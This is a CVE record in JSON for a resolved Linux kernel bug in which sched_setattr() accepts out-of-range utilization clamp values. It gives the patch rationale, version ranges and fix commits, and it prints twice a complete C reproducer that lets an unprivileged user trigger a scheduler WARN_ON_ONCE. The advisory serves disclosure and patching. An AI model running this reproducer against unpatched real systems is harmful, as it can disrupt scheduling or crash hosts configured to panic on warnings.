{"id":"CVE-2026-143087","state":"PUBLISHED","title":"sched/uclamp: Reject clamp values above SCHED_CAPACITY_SCALE","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nsched/uclamp: Reject clamp values above SCHED_CAPACITY_SCALE\n\nsched_setattr() accepts sched_util_min and sched_util_max values that do\nnot fit in uclamp_se::value. A single thread can do:\n\n  sched_setattr(max = 800)\t\treturns 0\n  sched_setattr(min = 0xfffffffe)\treturns 0\n  sched_getattr()\t\t\tmin=2046 max=800\n\nwhich leaves the minimum above both SCHED_CAPACITY_SCALE and the task's own\nmaximum.\n\nThe range check in uclamp_validate() relies on the + 1 wrapping -1, the\nreset value, to 0:\n\n\tif (util_min + 1 > SCHED_CAPACITY_SCALE + 1)\n\nThat only works for an unsigned type. util_min and util_max are int and\nSCHED_CAPACITY_SCALE is a long, so every negative value passes the check,\nand so does INT_MAX, whose + 1 wraps.\n\nuclamp_se_set() then truncates what got through to the 11 bits of\nuclamp_se::value, but computes the bucket from the full value. A minimum\nof 0xfffff800 is stored as 0 in the top bucket, where uclamp_rq_max_value()\ntakes it for the highest active clamp once a higher value leaves the rq.\nThe rq clamp falls below what the remaining tasks requested, and emptying\ntheir bucket trips the WARN_ON_ONCE() in uclamp_rq_dec_id(), without any\nprivilege:\n\n  WARNING: kernel/sched/core.c:1862 at dequeue_task+0x2a3/0x2b0, CPU#0: repro/126\n  Call Trace:\n   __schedule+0x933/0x1320\n   schedule+0x36/0x100\n   do_nanosleep+0x61/0x190\n   hrtimer_nanosleep+0xb5/0x1d0\n\nMake util_min and util_max unsigned int, so that -1 is the only value that\nwraps. The pair check below is unaffected, since it skips -1 explicitly and\nanything else is at most SCHED_CAPACITY_SCALE by then.\n\nRequests that were only accepted because of this now fail with -EINVAL.\n\nThe following program triggers the warning when run by any user outside\na child cpu cgroup. With this applied, its 0xfffff800 request fails with\n-EINVAL and the warning no longer appears:\n\n  #define _GNU_SOURCE\n  #include <pthread.h>\n  #include <sched.h>\n  #include <stdint.h>\n  #include <sys/syscall.h>\n  #include <time.h>\n  #include <unistd.h>\n\n  struct attr {\n      uint32_t size, policy;\n      uint64_t flags;\n      int32_t nice;\n      uint32_t prio;\n      uint64_t runtime, deadline, period;\n      uint32_t util_min, util_max;\n  };\n\n  static volatile int stop;\n\n  static void set_min(uint32_t v)\n  {\n      /* KEEP_POLICY | KEEP_PARAMS | UTIL_CLAMP_MIN */\n      struct attr a = { .size = sizeof(a), .flags = 0x38, .util_min = v };\n\n      syscall(SYS_sched_setattr, 0, &a, 0);\n  }\n\n  static void burn(long us)\n  {\n      struct timespec s, n;\n\n      clock_gettime(CLOCK_MONOTONIC, &s);\n      do\n          clock_gettime(CLOCK_MONOTONIC, &n);\n      while ((n.tv_sec - s.tv_sec) * 1000000 +\n             (n.tv_nsec - s.tv_nsec) / 1000 < us);\n  }\n\n  static void *bogus(void *arg)\n  {\n      set_min(0xfffff800);\n      while (!stop)\n          burn(1000);\n      return arg;\n  }\n\n  static void *worker(void *arg)\n  {\n      long v = (long)arg;\n\n      set_min(v);\n      while (!stop) {\n          burn(v == 800 ? 300 : 1500);\n          usleep(100);\n      }\n      return arg;\n  }\n\n  int main(void)\n  {\n      pthread_t t[3];\n      cpu_set_t c;\n      int i;\n\n      CPU_ZERO(&c);\n      CPU_SET(0, &c);\n      sched_setaffinity(0, sizeof(c), &c);\n      pthread_create(&t[0], NULL, bogus, NULL);\n      usleep(50000);\n      pthread_create(&t[1], NULL, worker, (void *)500L);\n      pthread_create(&t[2], NULL, worker, (void *)800L);\n      sleep(15);\n      stop = 1;\n      for (i = 0; i < 3; i++)\n          pthread_join(t[i], NULL);\n      return 0;\n  }\n\nAn LLM helped find the warning and write this patch and its tests.","publishedAt":"2026-12-03T09:19:09.171Z","updatedAt":"2026-12-03T09:19:09.171Z","severity":null,"assigner":"Linux","products":["Linux Linux"],"affected":[{"vendor":"Linux","product":"Linux","defaultStatus":"unaffected","versions":[{"version":"480a6ca2dc6ed82c783faf7e4a9644769b8397d8","status":"affected","lessThan":"013876a21ca0e36a2b877d9d44639d9b2e16e22d","versionType":"git"},{"version":"480a6ca2dc6ed82c783faf7e4a9644769b8397d8","status":"affected","lessThan":"b4fd3e2f7cd854e3afa969b2bd851458452e5075","versionType":"git"},{"version":"480a6ca2dc6ed82c783faf7e4a9644769b8397d8","status":"affected","lessThan":"a5cb23398072e259872414091b05be17aec7c7e6","versionType":"git"},{"version":"480a6ca2dc6ed82c783faf7e4a9644769b8397d8","status":"affected","lessThan":"8127ec8458df29bd702db602473042ccb9e619b9","versionType":"git"}],"repo":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git","programFiles":["kernel/sched/syscalls.c"]},{"vendor":"Linux","product":"Linux","defaultStatus":"affected","versions":[{"version":"5.11","status":"affected"},{"version":"0","status":"unaffected","lessThan":"5.11","versionType":"semver"},{"version":"6.12.120","status":"unaffected","lessThanOrEqual":"6.12.*","versionType":"semver"},{"version":"6.18.66","status":"unaffected","lessThanOrEqual":"6.18.*","versionType":"semver"},{"version":"7.3.7","status":"unaffected","lessThanOrEqual":"7.3.*","versionType":"semver"},{"version":"7.4-rc3","status":"unaffected","lessThanOrEqual":"*","versionType":"original_commit_for_fix"}],"repo":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git","programFiles":["kernel/sched/syscalls.c"]}],"references":["https://git.kernel.org/stable/c/013876a21ca0e36a2b877d9d44639d9b2e16e22d","https://git.kernel.org/stable/c/b4fd3e2f7cd854e3afa969b2bd851458452e5075","https://git.kernel.org/stable/c/a5cb23398072e259872414091b05be17aec7c7e6","https://git.kernel.org/stable/c/8127ec8458df29bd702db602473042ccb9e619b9"],"weaknesses":[],"ingestedAt":"2026-12-03T09:28:04.553Z","source":{"repository":"CVEProject/cvelistV5","path":"cves/2026/143xxx/CVE-2026-143087.json","commit":"9fd484e43f2e14021809e195d28c1172759faad0","baselineCommit":"556c9d3a8cd17e218bb8e452ba7cd619a384ff47"},"raw":{"dataType":"CVE_RECORD","dataVersion":"5.2","cveMetadata":{"cveId":"CVE-2026-143087","state":"PUBLISHED","datePublished":"2026-12-03T09:19:09.171Z","dateUpdated":"2026-12-03T09:19:09.171Z","assignerShortName":"Linux","assignerOrgId":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","dateReserved":"2026-12-03T03:10:28.347Z"},"containers":{"cna":{"title":"sched/uclamp: Reject clamp values above SCHED_CAPACITY_SCALE","descriptions":[{"lang":"en","value":"In the Linux kernel, the following vulnerability has been resolved:\n\nsched/uclamp: Reject clamp values above SCHED_CAPACITY_SCALE\n\nsched_setattr() accepts sched_util_min and sched_util_max values that do\nnot fit in uclamp_se::value. A single thread can do:\n\n  sched_setattr(max = 800)\t\treturns 0\n  sched_setattr(min = 0xfffffffe)\treturns 0\n  sched_getattr()\t\t\tmin=2046 max=800\n\nwhich leaves the minimum above both SCHED_CAPACITY_SCALE and the task's own\nmaximum.\n\nThe range check in uclamp_validate() relies on the + 1 wrapping -1, the\nreset value, to 0:\n\n\tif (util_min + 1 > SCHED_CAPACITY_SCALE + 1)\n\nThat only works for an unsigned type. util_min and util_max are int and\nSCHED_CAPACITY_SCALE is a long, so every negative value passes the check,\nand so does INT_MAX, whose + 1 wraps.\n\nuclamp_se_set() then truncates what got through to the 11 bits of\nuclamp_se::value, but computes the bucket from the full value. A minimum\nof 0xfffff800 is stored as 0 in the top bucket, where uclamp_rq_max_value()\ntakes it for the highest active clamp once a higher value leaves the rq.\nThe rq clamp falls below what the remaining tasks requested, and emptying\ntheir bucket trips the WARN_ON_ONCE() in uclamp_rq_dec_id(), without any\nprivilege:\n\n  WARNING: kernel/sched/core.c:1862 at dequeue_task+0x2a3/0x2b0, CPU#0: repro/126\n  Call Trace:\n   __schedule+0x933/0x1320\n   schedule+0x36/0x100\n   do_nanosleep+0x61/0x190\n   hrtimer_nanosleep+0xb5/0x1d0\n\nMake util_min and util_max unsigned int, so that -1 is the only value that\nwraps. The pair check below is unaffected, since it skips -1 explicitly and\nanything else is at most SCHED_CAPACITY_SCALE by then.\n\nRequests that were only accepted because of this now fail with -EINVAL.\n\nThe following program triggers the warning when run by any user outside\na child cpu cgroup. With this applied, its 0xfffff800 request fails with\n-EINVAL and the warning no longer appears:\n\n  #define _GNU_SOURCE\n  #include <pthread.h>\n  #include <sched.h>\n  #include <stdint.h>\n  #include <sys/syscall.h>\n  #include <time.h>\n  #include <unistd.h>\n\n  struct attr {\n      uint32_t size, policy;\n      uint64_t flags;\n      int32_t nice;\n      uint32_t prio;\n      uint64_t runtime, deadline, period;\n      uint32_t util_min, util_max;\n  };\n\n  static volatile int stop;\n\n  static void set_min(uint32_t v)\n  {\n      /* KEEP_POLICY | KEEP_PARAMS | UTIL_CLAMP_MIN */\n      struct attr a = { .size = sizeof(a), .flags = 0x38, .util_min = v };\n\n      syscall(SYS_sched_setattr, 0, &a, 0);\n  }\n\n  static void burn(long us)\n  {\n      struct timespec s, n;\n\n      clock_gettime(CLOCK_MONOTONIC, &s);\n      do\n          clock_gettime(CLOCK_MONOTONIC, &n);\n      while ((n.tv_sec - s.tv_sec) * 1000000 +\n             (n.tv_nsec - s.tv_nsec) / 1000 < us);\n  }\n\n  static void *bogus(void *arg)\n  {\n      set_min(0xfffff800);\n      while (!stop)\n          burn(1000);\n      return arg;\n  }\n\n  static void *worker(void *arg)\n  {\n      long v = (long)arg;\n\n      set_min(v);\n      while (!stop) {\n          burn(v == 800 ? 300 : 1500);\n          usleep(100);\n      }\n      return arg;\n  }\n\n  int main(void)\n  {\n      pthread_t t[3];\n      cpu_set_t c;\n      int i;\n\n      CPU_ZERO(&c);\n      CPU_SET(0, &c);\n      sched_setaffinity(0, sizeof(c), &c);\n      pthread_create(&t[0], NULL, bogus, NULL);\n      usleep(50000);\n      pthread_create(&t[1], NULL, worker, (void *)500L);\n      pthread_create(&t[2], NULL, worker, (void *)800L);\n      sleep(15);\n      stop = 1;\n      for (i = 0; i < 3; i++)\n          pthread_join(t[i], NULL);\n      return 0;\n  }\n\nAn LLM helped find the warning and write this patch and its tests."}],"affected":[{"vendor":"Linux","product":"Linux","defaultStatus":"unaffected","versions":[{"version":"480a6ca2dc6ed82c783faf7e4a9644769b8397d8","status":"affected","lessThan":"013876a21ca0e36a2b877d9d44639d9b2e16e22d","versionType":"git"},{"version":"480a6ca2dc6ed82c783faf7e4a9644769b8397d8","status":"affected","lessThan":"b4fd3e2f7cd854e3afa969b2bd851458452e5075","versionType":"git"},{"version":"480a6ca2dc6ed82c783faf7e4a9644769b8397d8","status":"affected","lessThan":"a5cb23398072e259872414091b05be17aec7c7e6","versionType":"git"},{"version":"480a6ca2dc6ed82c783faf7e4a9644769b8397d8","status":"affected","lessThan":"8127ec8458df29bd702db602473042ccb9e619b9","versionType":"git"}],"repo":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git","programFiles":["kernel/sched/syscalls.c"]},{"vendor":"Linux","product":"Linux","defaultStatus":"affected","versions":[{"version":"5.11","status":"affected"},{"version":"0","status":"unaffected","lessThan":"5.11","versionType":"semver"},{"version":"6.12.120","status":"unaffected","lessThanOrEqual":"6.12.*","versionType":"semver"},{"version":"6.18.66","status":"unaffected","lessThanOrEqual":"6.18.*","versionType":"semver"},{"version":"7.3.7","status":"unaffected","lessThanOrEqual":"7.3.*","versionType":"semver"},{"version":"7.4-rc3","status":"unaffected","lessThanOrEqual":"*","versionType":"original_commit_for_fix"}],"repo":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git","programFiles":["kernel/sched/syscalls.c"]}],"references":[{"url":"https://git.kernel.org/stable/c/013876a21ca0e36a2b877d9d44639d9b2e16e22d"},{"url":"https://git.kernel.org/stable/c/b4fd3e2f7cd854e3afa969b2bd851458452e5075"},{"url":"https://git.kernel.org/stable/c/a5cb23398072e259872414091b05be17aec7c7e6"},{"url":"https://git.kernel.org/stable/c/8127ec8458df29bd702db602473042ccb9e619b9"}],"providerMetadata":{"shortName":"Linux","orgId":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","dateUpdated":"2026-12-03T09:19:09.171Z"},"cpeApplicability":[{"nodes":[{"operator":"OR","negate":false,"cpeMatch":[{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.11","versionEndExcluding":"6.12.120"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.11","versionEndExcluding":"6.18.66"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.11","versionEndExcluding":"7.3.7"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.11","versionEndExcluding":"7.4-rc3"}]}]}],"x_generator":{"engine":"bippy-1.2.0"}}}}}